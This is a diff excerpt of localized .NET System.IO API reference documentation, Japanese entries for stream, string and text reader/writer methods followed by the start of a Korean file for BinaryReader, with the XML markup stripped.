+ + + 文字を非同期でストリームに書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリームに書き込む文字。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をストリームに非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込むデータを格納する文字配列。 + データの読み取りを開始する、バッファー内の文字位置。 + 書き込む文字の最大数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字列をストリームに非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリームに書き込む文字列。 が null の場合は、何も書き込まれません。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 行終端記号をストリームに非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 非同期でストリームに文字を書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + ストリームに書き込む文字。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をストリームに非同期で書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の文字位置。 + 書き込む文字の最大数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字列を非同期でストリームに書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。値が null の場合は、行終端記号だけが書き込まれます。 + ストリーム ライターは破棄されます。 + ストリーム ライターは現在、前の書き込み操作で使用中です。 + + + 文字列から読み取る を実装します。 + 2 + + + 指定した文字列から読み取る クラスの新しいインスタンスを初期化します。 + + を初期化する目的の文字列。 + + パラメーターが null です。 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 読み取り可能な次の文字を返しますが、その文字は使用されません。 + 読み取り対象の次の文字を表す整数。使用できる文字がないか、ストリームがシークをサポートしていない場合は -1。 + 現在のリーダーが閉じています。 + 2 + + + 入力文字列から次の文字を読み取り、1 文字分だけ文字位置を進めます。 + 基になる文字列の次の文字。または使用できる文字がない場合は -1。 + 現在のリーダーが閉じています。 + 2 + + + 入力文字列から文字のブロックを読み取り、 だけ文字位置を進めます。 + バッファーに読み取られた合計文字数。要求しただけの文字数を読み取ることができなかった場合、この値は要求した文字数より小さくなります。基になる文字列の末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + バッファー内の開始インデックス。 + 読み取る文字の数。 + + は null なので、 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + 現在のリーダーが閉じています。 + 2 + + + 指定した最大文字数を現在の文字列から非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、文字列の末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前に文字列の末尾に到達した場合、メソッドは制御を返します。 + + は null なので、 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 指定した最大文字数を現在の文字列から非同期的に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、文字列の末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに書き込む前に文字列の末尾に到達した場合、メソッドは制御を返します。 + + は null なので、 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 現在の文字列から 1 行分の文字を読み取り、そのデータを文字列として返します。 + 現在の文字列の次の行。文字列の末尾に到達した場合は null。 + 現在のリーダーが閉じています。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + 2 + + + 現在の文字列から非同期的に 1 行分の文字を読み取り、そのデータを文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、文字列リーダーの次の行が含まれます。または、すべての文字が読み取られた場合は null です。 + 次の行の文字数が、 を超えています。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 現在位置から文字列の末尾まですべての文字を読み取り、1 つの文字列として返します。 + 基になる文字列の現在位置から末尾までの内容。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + 現在のリーダーが閉じています。 + 2 + + + 現在位置から文字列の末尾まですべての文字を非同期的に読み取り、1 つの文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、現在位置から文字列の末尾までの文字から成る文字列が含まれます。 + 文字数が を超えています。 + 文字列リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 文字列に情報を書き込む を実装します。情報は、基になる に格納されます。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + 指定した書式コントロールで クラスの新しいインスタンスを初期化します。 + 書式を制御する オブジェクト。 + + + 指定した への書き込みを行う クラスの新しいインスタンスを初期化します。 + 書き込む StringBuilder。 + + は null なので、 + + + 指定した に書き込みを行い、指定した書式プロバイダーを持つ クラスの新しいインスタンスを初期化します。 + 書き込む StringBuilder。 + 書式を制御する オブジェクト。 + + は null なので、 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 出力の書き込みに使用する を取得します。 + 出力の書き込み時に適用する Encoding。 + 1 + + + 現在のライターのすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + + + 基になる を返します。 + 基になる StringBuilder。 + 2 + + + 現在の StringWriter に書き込まれた文字を格納している文字列を返します。 + 現在の StringWriter に書き込まれた文字を格納している文字列。 + 2 + + + 文字列に文字を書き込みます。 + 書き込む文字。 + ライターが閉じられました。 + 2 + + + 文字配列の一部を文字列に書き込みます。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の位置。 + 書き込む文字の最大数。 + + は null なので、 + + または が負の値です。 + ( + )> 。Length. + ライターが閉じられました。 + 2 + + + 現在の文字列に文字列を書き込みます。 + 書き込む文字列。 + ライターが閉じられました。 + 2 + + + 文字列に文字を非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + 文字列に書き込む文字。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列を文字列に非同期で書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の位置。 + 書き込む文字の最大数。 + + は null なので、 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 現在の文字列に文字列を非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。 が null の場合は、何もテキスト ストリームに書き込みません。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 非同期で文字列に文字を書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 文字列に書き込む文字。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列を文字列に非同期で書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの読み取りを開始する、バッファー内の位置。 + 書き込む文字の最大数。 + + は null なので、 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 現在の文字列に非同期で文字列を書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。値が null の場合は、行終端記号だけが書き込まれます。 + 文字列ライターは破棄されます。 + 文字列ライターは現在、前の書き込み操作で使用中です。 + + + 一連の文字を読み取ることができるリーダーを表します。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + この オブジェクトによって使用されているすべてのリソースを解放します。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 読み取り対象のデータを TextReader に提供しません。 + 1 + + + リーダーや文字の読み取り元の状態を変更せずに、次の文字を読み取ります。リーダーから実際に文字を読み取らずに次の文字を返します。 + 読み取り対象の次の文字を表す整数。使用できる文字がないか、リーダーがシークをサポートしていない場合は -1。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + テキスト リーダーから次の文字を読み取り、1 文字分だけ文字位置を進めます。 + テキスト リーダーからの次の文字。それ以上読み取り可能な文字がない場合は -1。既定の実装では、-1 が返されます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 指定した最大文字数を現在のリーダーから読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 読み取られた文字数。この数値は、リーダー内に使用できるデータがあるかどうかによって異なりますが、 以下の数値になります。読み取り対象の文字がない場合にこのメソッドを呼び出すと、0 (ゼロ) が返されます。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに読み取る前にリーダーの末尾に到達した場合、メソッドは制御を返します。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 指定した最大文字数を現在のテキスト リーダーから非同期に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、テキストの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに読み取る前にテキストの末尾に到達した場合は、現在のメソッドが返ります。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 指定した最大文字数を現在のテキスト リーダーから読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 読み取られた文字数。この数値は、すべての入力文字が読み取られたかどうかによって異なりますが、 以下の数値になります。 + このメソッドが戻るとき、指定した文字配列の から ( + -1) までの値が、現在のソースから読み取られた文字に置き換えられています。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。 + + は null です。 + バッファー長から を差し引いた値が より小さい値です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 2 + + + 指定した最大文字数を現在のテキスト リーダーから非同期に読み取り、バッファーの指定したインデックス位置にそのデータを書き込みます。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、バッファーに読み込まれるバイトの合計数が含まれます。現在使用できるバイト数が要求した数より小さい場合、結果の値は要求したバイト数より小さくなることがあります。また、テキストの末尾に到達した場合は 0 になることがあります。 + このメソッドが戻るとき、指定した文字配列の から ( + - 1) までの値が、現在のソースから読み取られた文字に置き換えられます。 + 書き込みを開始する 内の位置。 + 読み取り対象の最大文字数。指定された文字数をバッファーに読み取る前にテキストの末尾に到達した場合は、現在のメソッドが返ります。 + + は null です。 + + または が負の値です。 + + と の合計値が、バッファー長より大きい値です。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + テキスト リーダーから 1 行分の文字を読み取り、そのデータを文字列として返します。 + リーダーの次の行。またはすべての文字が読み取られた場合は null。 + I/O エラーが発生しました。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + + が閉じています。 + 次の行の文字数が、 を超えています。 + 1 + + + 1 行分の文字を非同期的に読み取り、そのデータを文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、テキスト リーダーの次の行が含まれます。または、すべての文字が読み取られた場合は null です。 + 次の行の文字数が、 を超えています。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + テキスト リーダーの現在位置から末尾まですべての文字を読み取り、1 つの文字列として返します。 + テキスト リーダーの現在位置から末尾までのすべての文字を含む文字列。 + I/O エラーが発生しました。 + + が閉じています。 + 返される文字列用のバッファーを割り当てるためにはメモリが不足しています。 + 次の行の文字数が、 を超えています。 + 1 + + + テキスト リーダーの現在位置から末尾まですべての文字を非同期的に読み取り、1 つの文字列として返します。 + 非同期の読み取り操作を表すタスク。 パラメーターの値には、現在位置からテキスト リーダーの末尾までの文字から成る文字列が含まれます。 + 文字数が を超えています。 + テキスト リーダーは破棄されています。 + リーダーは現在、前の読み取り操作で使用中です。 + + + 一連の文字を書き込むことができるライターを表します。このクラスは抽象クラスです。 + 2 + + + + クラスの新しいインスタンスを初期化します。 + + + 指定した書式プロバイダーで クラスの新しいインスタンスを初期化します。 + 書式を制御する オブジェクト。 + + + この TextWriter で使用する改行文字を格納します。 + + + この オブジェクトによって使用されているすべてのリソースを解放します。 + + + + で使用されているアンマネージ リソースを解放し、オプションでマネージ リソースを解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 派生クラスによってオーバーライドされると、出力を書き込む文字エンコーディングを返します。 + 出力の書き込み時に適用する文字エンコーディング。 + 1 + + + 現在のライターのすべてのバッファーをクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 1 + + + 現在のライターのすべてのバッファーを非同期にクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 非同期のフラッシュ操作を表すタスク。 + テキスト ライターは破棄されます。 + ライターは現在、前の書き込み操作で使用中です。 + + + 書式を制御するオブジェクトを取得します。 + 特定のカルチャ設定の オブジェクト、または他のカルチャ設定が指定されていない場合は現在のカルチャ設定の書式。 + 2 + + + 現在の TextWriter で使用される行終端文字列を取得または設定します。 + 現在の TextWriter で使用する行終端文字列。 + 2 + + + バッキング ストアを持たない書き込み専用の TextWriter を提供します。 + 1 + + + Boolean 値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む Boolean 値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字をテキスト文字列またはストリームに書き込みます。 + テキスト ストリームに書き込む文字。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字配列をテキスト文字列またはストリームに書き込みます。 + テキスト ストリームに書き込む文字配列。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字の部分配列をテキスト文字列またはストリームに書き込みます。 + データの書き込み元の文字配列。 + データの取得を開始する、バッファー内の文字位置。 + 書き込む文字数。 + バッファー長から を差し引いた値が より小さい値です。 + + パラメーターが null です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 10 進値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 10 進値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 8 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 4 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 8 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + オブジェクトで ToString メソッドを呼び出して、そのオブジェクトのテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込むオブジェクト。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 4 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字列をテキスト文字列またはストリームに書き込みます。 + 書き込む文字列。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをするオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 1) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 2) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + 書式設定および書き込みをする 3 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 3) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする 0 個以上のオブジェクトを含むオブジェクト配列。 + + または が null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式項目のインデックスが 0 より小さいか、 配列の長さ以上です。 + 1 + + + 4 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 4 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込みます。 + 書き込む 8 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字配列をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字配列。 が null の場合は、何も書き込まれません。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの取得を開始する、バッファー内の文字位置。 + 書き込む文字数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字列をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。 が null の場合は、何もテキスト ストリームに書き込みません。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 行終端記号をテキスト文字列またはストリームに書き込みます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + Boolean 値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む Boolean 値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + テキスト ストリームに書き込む文字。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字の配列をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + データの読み取り元の文字配列。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字の部分配列をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + データの読み取り元の文字配列。 + データの読み込みを開始する、 内の文字の位置。 + 書き込む文字の最大数。 + バッファー長から を差し引いた値が より小さい値です。 + + パラメーターが null です。 + + または が負の値です。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 10 進値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 10 進値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 8 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 4 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号付き整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 8 バイト符号付き整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + オブジェクトで ToString メソッドを呼び出して、そのオブジェクトのテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込むオブジェクト。 が null の場合は、行終端記号だけを書き込みます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 4 バイト浮動小数点値のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 4 バイト浮動小数点値。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 文字列をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む文字列。 が null の場合は、行終端記号だけを書き込みます。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列と改行をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをするオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 1) 以上です。 + 1 + + + + メソッドと同じセマンティクスを使用して、書式設定された文字列と改行をテキスト文字列またはストリームに書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 2) 以上です。 + 1 + + + + と同じセマンティクスを使用して、書式設定された文字列と改行を書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする最初のオブジェクト。 + 書式設定および書き込みをする 2 番目のオブジェクト。 + 書式設定および書き込みをする 3 番目のオブジェクト。 + + は null です。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式指定項目のインデックスが、0 (ゼロ) より小さいか、書式設定されるオブジェクトの数 (このメソッド オーバーロードでは 3) 以上です。 + 1 + + + + と同じセマンティクスを使用して、書式設定された文字列と改行を書き込みます。 + 複合書式指定文字列 (「解説」を参照)。 + 書式設定および書き込みをする 0 個以上のオブジェクトを含むオブジェクト配列。 + 文字列またはオブジェクトが null として渡されました。 + + が閉じています。 + I/O エラーが発生しました。 + + は有効な復号書式指定文字列ではありません。または 書式項目のインデックスが 0 より小さいか、 配列の長さ以上です。 + 1 + + + 4 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 4 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 8 バイト符号なし整数のテキスト形式をテキスト文字列またはストリームに書き込み、続けて行終端記号を書き込みます。 + 書き込む 8 バイト符号なし整数。 + + が閉じています。 + I/O エラーが発生しました。 + 1 + + + 行終端記号をテキスト文字列またはストリームに非同期的に書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字の配列をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + テキスト ストリームに書き込む文字配列。文字配列が null の場合は、行終端記号だけが書き込まれます。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字の部分配列をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + データの書き込み元の文字配列。 + データの取得を開始する、バッファー内の文字位置。 + 書き込む文字数。 + + は null です。 + + に を加算した値が、バッファーの長さを超えています。 + + または が負の値です。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + 文字列をテキスト文字列またはストリームに非同期的に書き込み、続けて行終端記号を書き込みます。 + 非同期の書き込み操作を表すタスク。 + 書き込む文字列。値が null の場合は、行終端記号だけが書き込まれます。 + テキスト ライターは破棄されます。 + テキスト ライターは現在、前の書き込み操作で使用中です。 + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.0/ko/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.0/ko/System.IO.xml new file mode 100644 index 0000000..7157cae --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.0/ko/System.IO.xml @@ -0,0 +1,2262 @@ + + + + System.IO + + + + 기본 데이터 형식을 특정 인코딩의 이진 값으로 읽습니다. + 2 + + + 지정된 스트림을 기반으로 UTF-8 인코딩을 사용하여 클래스의 새 인스턴스를 초기화합니다. + 입력 스트림입니다. + 스트림이 읽기를 지원하지 않거나 null이거나 이미 닫힌 경우 + + + 지정된 스트림과 문자 인코딩을 기반으로 클래스의 새 인스턴스를 초기화합니다. + 입력 스트림입니다. + 사용할 문자 인코딩입니다. + 스트림이 읽기를 지원하지 않거나 null이거나 이미 닫힌 경우 + + 가 null인 경우 + + + 지정된 스트림과 문자 인코딩을 기반으로 하는 클래스의 새 인스턴스를 초기화하고 스트림을 선택적으로 연 상태로 둡니다. + 입력 스트림입니다. + 사용할 문자 인코딩입니다. + + 개체를 삭제한 후 스트림을 열어 두려면 true이고, 닫으려면 false입니다. + 스트림이 읽기를 지원하지 않거나 null이거나 이미 닫힌 경우 + + 또는 가 null인 경우 + + + + 의 내부 스트림에 대한 액세스를 노출합니다. + BinaryReader와 관련된 내부 스트림입니다. + 2 + + + + 클래스의 현재 인스턴스에서 사용하는 모든 리소스를 해제합니다. + + + + 클래스에 사용되는 관리되지 않는 리소스를 해제하고, 필요에 따라 관리되는 리소스를 해제합니다. + 관리되는 리소스와 관리되지 않는 리소스를 모두 해제하려면 true로 설정하고, 관리되지 않는 리소스만 해제하려면 false로 설정합니다. + + + 스트림에서 읽은 지정된 바이트 수로 내부 버퍼를 채웁니다. + 읽을 바이트 수입니다. + + 를 읽기 전에 스트림의 끝에 도달한 경우 + I/O 오류가 발생하는 경우 + 요청된 가 내부 버퍼 크기보다 큰 경우 + + + 사용할 수 있는 다음 문자를 반환하고 바이트 또는 문자 위치를 앞으로 이동하지 않습니다. + 사용할 수 있는 다음 문자를 반환하고 사용할 수 있는 문자가 더 이상 없거나 스트림에서 검색을 지원하지 않을 경우 -1을 반환합니다. + I/O 오류가 발생하는 경우 + 현재 문자는 스트림에 선택한 을 사용하여 내부 문자 버퍼링으로 디코딩할 수 없습니다. + 2 + + + 내부 스트림에서 문자를 읽고 사용된 Encoding과 스트림에서 읽어오는 특정 문자의 길이만큼 스트림의 현재 위치를 앞으로 이동합니다. + 입력 스트림의 다음 문자를 반환하고 현재 사용할 수 있는 문자가 없을 경우 -1을 반환합니다. + I/O 오류가 발생하는 경우 + 스트림이 닫혀 있는 경우 + 2 + + + 바이트 배열의 지정된 지점부터 스트림에서 지정된 바이트 수만큼 읽습니다. + + 로 읽어 온 바이트 수입니다.이 바이트 수는 바이트가 충분하지 않은 경우 요청된 바이트 수보다 작을 수 있으며 스트림의 끝에 도달하면 0이 됩니다. + 데이터를 읽어올 